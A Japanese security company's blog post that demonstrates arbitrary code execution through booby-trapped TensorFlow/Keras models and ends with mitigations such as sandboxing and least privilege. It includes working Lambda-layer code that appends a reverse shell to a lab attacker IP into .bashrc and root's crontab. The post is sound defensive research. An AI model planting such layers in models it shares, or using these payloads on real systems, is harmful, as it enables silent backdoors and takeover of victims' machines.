> > 細工した分類器を利用した任意のコード実行

細工した分類器を利用した任意のコード実行

2020.06.03
プロフェッショナルサービス事業部
高江洲 勲
title1

 TensorFlow models are programs.

 これは、著名な機械学習プラットフォームであるGoogle TensorFlowの「Using TensorFlow Securely」の冒頭に記載されている文言です。
 TensorFlowには、学習済みの機械学習モデル(以下、分類器)をファイルに書き出す、または、学習済み分類器をファイルから読み込む機能が備わっています。これにより、一度学習して作成した分類器の再利用や、分類器の第三者への配布を可能にしています。しかし、もし第三者から提供された学習済み分類器が悪意を持って作られていたらどうでしょうか?

 TensorFlowの学習済み分類器には、学習済みの重みやバイアス、Optimizerなどを含めることができるほか、Lambdaレイヤを使用することで任意の関数をも含めることができます。当然ながら、任意の関数には任意のコードを記述することができます。このため、悪意のあるコードが埋め込まれた学習済み分類器を読み込み、実行することで、分類器が稼働するシステム上で任意のコードを実行することが可能となります。仮に分類器がシステム管理者の権限で実行されている場合、システムの乗っ取りデータの改ざん機微情報の窃取、そして、システムの破壊など、甚大な被害が発生することになります。

 そこで本ブログでは、あまり広く知られていない「細工した分類器を利用した任意のコード実行」の手法と対策を、検証結果を交えながら解説します。本ブログが、安全な機械学習プラットフォーム利用の一助になれば幸いです。

 なお、本ブログの元ネタは、2019年にTencent Blade Teamが執筆したブログ「AI繁荣下的隐忧——Google Tensorflow安全风险剖析」です。興味のある方はこちらも一読することをお勧めします。


既存の攻撃手法

 ところで、分類器を攻撃する手法は以前から存在します。
 例えば、以前弊社ブログでも紹介した、分類器への入力データに摂動を加えることで分類器の誤判断を引き起こす敵対的サンプルや、学習データを細工することで分類器にバックドアを設置する学習データ汚染といった、機械学習のアルゴリズムに起因する問題がよく知られています。また、実装面における問題としては、numpyOpenCVなどの脆弱性が悪用されることで、DoSやバッファオーバーフローが引き起こされる問題も知られています。

 しかし、本ブログで解説する「細工した分類器を利用した任意のコード実行」は、筆者が知る限り論文や検証ブログは殆ど発表されていません。
 このため、この問題はTensorFlowを用いて分類器を開発している方々の間でもあまり知られていないのではないでしょうか。それゆえに、「分類精度が高い」という宣伝文句に誘われて、第三者から入手した学習済み分類器をセキュリティ検証せずに利用することも少なくないと思われます。


検証の流れ

 本ブログでは、筆者が検証した結果を基に、攻撃の手順と対策を解説します。
 なお、本検証ではtensorflow 2.2.0を使用します。

注意
本ブログの内容は、攻撃の危険性と対策を理解していただくことを目的に書かれています。本ブログの内容を検証する場合は、必ずご自身の管理下にあるシステムにて、ご自身の責任の下で実行してください。許可を得ずに第三者のシステムで実行した場合、法律により罰せられる可能性があります。

 本検証では、悪意のある者が作成した学習済み分類器を被害者に利用させることで、被害者のシステム上で任意のコードを実行させることを目標とします。具体的には、以下の流れで検証を行います。

  1. (悪意のある者が)細工した分類器を作成
  2. (悪意のある者が)学習済み分類器をファイルに保存・配布
  3. (被害者が)学習済み分類器を読み込み・分類を実行 ⇒ 任意のコード実行

 それでは、早速検証に入っていきましょう。


分類器の作成

 先ずは何らかのデータセットを使用し、分類器を作成する必要があります。
 そこで本検証では、MNISTの手書き数字データセットを使用し、手書き数字画像を分類する簡易的な分類器を作成します。

 なお、MNISTは0~9までの手書き数字画像(28x28ピクセル)が70,000枚収録されているフリーのデータセットであり、その手軽さゆえに分類器のテストや敵対的サンプルの検証などに広く利用されています。

MNISTの手書き数字(一例)

 本検証では、MNISTを以下のように分割して使用します。

カテゴリ データ数 用途
学習データ 60,000枚 分類器の学習に使用
テストデータ 10,000枚 分類器のテストに使用

分類器のアーキテクチャ

 本検証では、tensorflow 2.2.0に組み込まれているtf.kerasを使用し、以下の要領で分類器のアーキテクチャを定義します。

model = tf.keras.models.Sequential([
    tf.keras.layers.Dense(512, activation='relu', input_shape=(784,)),
    tf.keras.layers.Dropout(0.2),
    tf.keras.layers.Dense(10, activation='softmax')
])

 この分類器をmodel.summary()で見ると以下のようになります。

分類器のアーキテクチャ

 入力層、1層の中間層、そして、出力層から成るシンプルなアーキテクチャです。
 この分類器は、MNISTの手書き数字画像を入力層から受け取り、画像の分類結果を返します。


Lambdaレイヤの追加

 Lambdaレイヤとは、任意の計算や関数を分類器の層(レイヤ)として扱う仕組みであり、TensorFlowの組み込み関数や自作関数を分類器に追加することができます。これにより、Lambdaレイヤに追加した関数を分類器の実行時に処理することを可能にします。例えば、前層からの入力値を2乗する計算を分類器に追加する場合は以下のように記述します。

# add a x -> x^2 layer
model.add(tf.keras.layers.Lambda(lambda x: x ** 2))

 また、前層からの入力値に5を加算する独自関数を分類器に追加する場合は以下のように記述します。

# add a "tensor" -> "tensor"+5 layer
def custom_layer(tensor):
    return tensor + 5

model.add(tf.keras.layers.Lambda(custom_layer))

 このように、Lambdaレイヤを使用することで、任意の計算ロジックや関数を分類器に追加することが可能となり、分類器の処理に柔軟性を持たせることが可能となります。なお、分類器に追加されたLambdaレイヤは、分類器が分類を実行する度に処理されます。

 本検証では、分類器にLambdaレイヤを追加することで任意のコード実行を試みます。
 手始めに、以下のPythonコードをLambdaレイヤに追加します。

model.add(tf.keras.layers.Lambda(lambda x: [x, exec('print("This system is compromised!!")')][0]))

 このコードは、printを使用し、「This system is compromised!!」を標準出力します。
 追加したLambdaレイヤは、前層からの入力値「x」を何もせずに(リスト「[x, exec('print("This system is compromised!!")')]」の0番目の要素として)返す処理を行います。つまり、分類には一切関与しませんが、リストの1番目の要素「exec('print("This system is compromised!!")')」を実行する仕組みになっています。

 追加した後にアーキテクチャを確認すると、以下のように出力層(dense_1)の次にLambdaレイヤ(lambda)が追加されていることが分かります。

Lambdaレイヤが追加された後のアーキテクチャ

分類器の学習

 次に、MNISTの学習データを使用して10エポックの学習を行い、分類器を作成します。

Epoch 1/10
1875/1875 [==============================] - 20s 11ms/step - loss: 0.2197 - accuracy: 0.9347 - val_loss: 0.1151 - val_accuracy: 0.9632
Epoch 2/10
1875/1875 [==============================] - 21s 11ms/step - loss: 0.0969 - accuracy: 0.9706 - val_loss: 0.0842 - val_accuracy: 0.9744

...snip...

Epoch 9/10
1875/1875 [==============================] - 24s 13ms/step - loss: 0.0243 - accuracy: 0.9920 - val_loss: 0.0626 - val_accuracy: 0.9822
Epoch 10/10
1875/1875 [==============================] - 24s 13ms/step - loss: 0.0224 - accuracy: 0.9925 - val_loss: 0.0817 - val_accuracy: 0.9807
313/313 - 3s - loss: 0.0817 - accuracy: 0.9807

 学習の結果、分類精度「0.9807」の分類器が作成されました。
 なお、前述したように、追加したLambdaレイヤは分類に一切関与しないため、Lambdaレイヤの追加が分類器の精度に影響することはありません。


分類器の保存

 学習済み分類器を被害者に配布するために、学習後の分類器を「printf_model.h5」などのファイル名で保存します。このファイルには分類器のアーキテクチャや学習済みの重み、そして、バイアスなどが含まれています。よって、このファイルを配布することで、第三者と分類器を共有することが可能となります。

 なお、学習済み分類器をテキストエディタで開くと、追加したLambdaレイヤが含まれていることを確認できます。

学習済み分類器をテキストエディタで開いた様子

 白くハイライトした部分がLambdaレイヤに相当する部分です。
 LambdaレイヤがPythonバイトコードにシリアライズされて格納されていることが分かります。このようにシリアライズして格納することで、任意のPythonコードを学習済み分類器に埋め込むことが可能となります。


学習済み分類器の実行(任意のコード実行)

 何らかの方法で学習済み分類器を被害者に配布したものとし、細工された学習済み分類器を被害者が使用することで、任意のPythonコードが実行されるのか確認します。なお、本検証では、被害者は以下の検証用プログラムを用いて学習済み分類器を読み込み、実行することにします。

import sys
import numpy as np
import tensorflow as tf


# テストデータ(MNIST)のロード
(_, _), (test_images, test_labels) = tf.keras.datasets.mnist.load_data()
test_images = test_images.reshape(-1, 28 * 28) / 255.0

# 細工された学習済み分類器の読み込み
print('{} has been loaded.\n'.format(sys.argv[1]))
victim_model = tf.keras.models.load_model(sys.argv[1])

# テストデータの分類実行(最初の1枚のみ)
print('Prediction..')
result = victim_model.predict(test_images[:1])
print('Pred: "{}"/{:.3f}% (true label="{}")'.format(np.argmax(result[0]), 100*np.max(result[0]), test_labels[0]))

 本プログラムは、プログラムの第一引数に指定された学習済み分類器(printf_model.h5)を読み込んで分類器を作成し、MNISTのテストデータを1枚分類します。そして、分類結果を標準出力します。


実行結果1

 本検証では、被害者のシステム上(Ubuntu)で分類器を実行します。
 以下に実行結果を示します。

学習済み分類器を読み込んで分類を実行した様子

 テストデータの分類結果(Pred: "7"/99.981% (true label="7"))が出力されており、分類器の予測「Pred: "7"」と実際の正解ラベル「true label="7"」が一致していることから、MNISTの分類が正しく行われていることが分かります。

 それと同時に、This system is compromised!!という文字列が出力されていることに注目してください。これは言うまでもなく、Lambdaレイヤに埋め込まれたexec('print("This system is compromised!!")')が実行されたことを意味しています。

 このように、細工した学習済み分類器を被害者に使用させることで、埋め込んだPythonコードが実行されることが分かりました。なお、分類器を実行しているユーザの権限に応じて実行可能なコードは異なります。これは、システム管理者の権限で分類器が実行された場合、システム管理者の権限で任意のPythonコードが実行されることを意味します。


実行結果2

 それでは、もう一つ検証してみましょう。
 今度は以下のLambdaレイヤを分類器に追加してみます。

def dummy_input(z):
    # Detect home directory.
    reader = tf.io.read_file('/proc/self/environ')
    envstr = tf.strings.split(input=[reader], sep='\0')
    home_prefix = tf.constant('HOME=')
    i = tf.constant(0)
    c = lambda i: tf.logical_and(tf.less(i, tf.size(envstr.values) - 1),
                                 tf.not_equal(tf.strings.substr(envstr.values[i], 0, 5), [home_prefix])[0])
    b = lambda i: (tf.math.add(i, 1),)
    idx = tf.while_loop(c, b, [i])
    home_env = envstr.values[idx]
    len = tf.size(tf.strings.split([home_env], ''))
    home_dir = tf.strings.substr(home_env, 5, len - 5)
    
    # Add any command to ".bashrc".
    file_path = tf.strings.join([home_dir, '/.bashrc'])
    org_content = tf.io.read_file(file_path)
    payload = tf.constant('`(/bin/bash -i > /dev/tcp/192.168.184.129/8888 0<&1 2>&1) &>/dev/null`&')
    evil_content = tf.strings.join([org_content, payload])
    tf.io.write_file(file_path, contents=evil_content)
    return z

model.add(tf.keras.layers.Lambda(dummy_input))

 これは、被害者のシステムにバックドアを設置するLambdaレイヤです。
 Lambdaレイヤに自作関数を埋め込めることは上述しましたが、ここではdummy_inputという独自関数を埋め込んでいます。本関数は、分類器を実行したユーザの.bashrcに任意のコマンドを追加する役割を持ちます。先ず、/proc/self/environで環境変数のリストを取得し、次に.bashrcが格納されているHOMEディレクトリのPathを特定します。そして最後に、攻撃者のサーバ(192.168.184.129)にコネクトバックするコマンドを.bashrcに追加します。

 これらの処理はファイルの読み書きや論理演算、そして、文字列操作などを要しますが、全てTensorFlowのAPI(tf.io, tf.strings, tf.logical_and/not_equalなど)で実現することができます。

 先程と同じ要領で分類器を学習・保存し、被害者のシステム上で分類器を実行してみましょう。

シェル起動時にバックドアが実行された様子

 左上が被害者のコンソール(Ubuntu)、右下が悪意のある者のコンソール(Kali Linux)を表しています。
 なお、被害者はroot権限で分類器を実行しています。

 事前に悪意のある者はncコマンドで被害者端末からの接続を待ち受けておきます。
 被害者は分類器を実行した後にシェル(bash)を再起動していますが、この瞬間、悪意のある者のコンソールのプロンプトがitakaesuからrootに変わっていることに注目してください。つまり、悪意のある者によって被害者のシステムが制御されたことを意味しています。この後、悪意のある者は被害者のシステム上で(root権限の範囲内で)任意の操作を行うことが可能となります(本検証では、root権限でしかアクセスできない/etc/shadowファイルを標準出力している)。

 この時、被害者の.bashrcファイルには、以下のようなコマンドが追加されています。

.bashrcが改ざんされた様子

 最後の行が追加されたコマンドであり、悪意のある者のサーバにコネクトバックするコマンドが書き込まれていることが分かります。
 このため、被害者がシステムにログインするなどしてシェルを起動する度に、悪意のある者は被害者のシステムを制御することが可能となります(バックドアの設置)。

 また、同じ要領で、悪意のある者のサーバにコネクトバックするコマンドをcrontabsに追加することも可能です。
 以下のコードは、1分間隔でコネクトバックを実行するコマンドをLambdaレイヤに埋め込み、分類器に追加しています。

def crontabs_input(z):
    # Add any command to "/var/spool/cron/crontabs/root".
    file_path = '/var/spool/cron/crontabs/root'
    org_content = tf.io.read_file(file_path)
    payload = tf.constant("* * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.184.129/8888 0<&1 2>&1'")
    evil_content = tf.strings.join([org_content, payload])
    tf.io.write_file(file_path, contents=evil_content)
    return z

model.add(tf.keras.layers.Lambda(crontabs_input))

 分類器を実行すると、悪意のある者のサーバにコネクトバックするコマンドがcronの設定に従って実行されます(バックドアのスケジューリング)。

cronによりバックドアが実行された様子

 このようにcronを使用することで、悪意のある者にとって都合の良いタイミングでバックドアを実行することができます。


さいごに

 本ブログでは、細工された学習済み分類器を読み込んで実行することで、任意のコードが実行されるメカニズムを解説しました。
 では、どのように対策すれば良いでしょうか?

 一言でいうと、「TensorFlow models are programs.」であることを意識し、信頼できない第三者から提供された分類器を使用しないことです。
 しかし、開発の都合上、どうしても使用せざるを得ない場合もあります。この時は、必ずサンドボックス環境内で実行することを心掛けましょう。このことは、冒頭で示したGoogle TensorFlowの「Using TensorFlow Securely」にも記載されています。

 また、分類器自体に悪意が無い場合でも、バグや入力値検証機構の不備などが潜んでいることで、分類器が予期せぬ危険な動作を引き起こす可能性もあります。このため、外部からデータを受け取って実行される分類器についてもサンドボックスに隔離する必要があると考えます。加えて、根本的な解決策にはなりませんが、万が一の被害を最小限に抑えるために、分類器の実行権限を必要最低限にすることも重要です。

 さいごに、本ブログで示す問題は、TensorFlowの脆弱性ではないことに注意してください(バージョンアップやパッチ適用で解決できない)。
 学習済み分類器の読み書きやLambdaレイヤなどの機能は柔軟な分類器記述や利用を行うために用意されたものであり、これによりTensorFlowのユーザは大きな恩恵を受けることができます。その一方で、信頼できない第三者が提供する学習済み分類器を利用することや、バグを生む不適切なコード記述、入力値の検証不備、また、脆弱性のあるバージョンのライブラリ(古いバージョンのnumpyやprotobufなど)をTensorFlowと組み合わせて使用した場合、結果としてTensorFlowで構築した分類器が予期せぬ危険な動作を引き起こす可能性があります。

 つまり、どんなに便利な機械学習プラットフォームであっても、それを使用するユーザ次第で危険なものにもなり得るため、セキュリティに考慮しながら正しくプラットフォームを使用する必要があります。


セキュアAI開発トレーニング

 弊社は株式会社ChillStackと共同で、AIの開発・提供・利用を安全に行うための「セキュアAI開発トレーニング」を提供しています。
 本トレーニングでは、本ブログで解説した攻撃手法の他、AIに対する様々な攻撃手法(敵対的サンプル、データ汚染、モデル抽出など)とその対策を、座学とハンズオンを通じて理解することができます。

 本トレーニングの詳細やお問い合わせにつきましては、弊社窓口、または、下記の特設サイトをご覧ください。

以上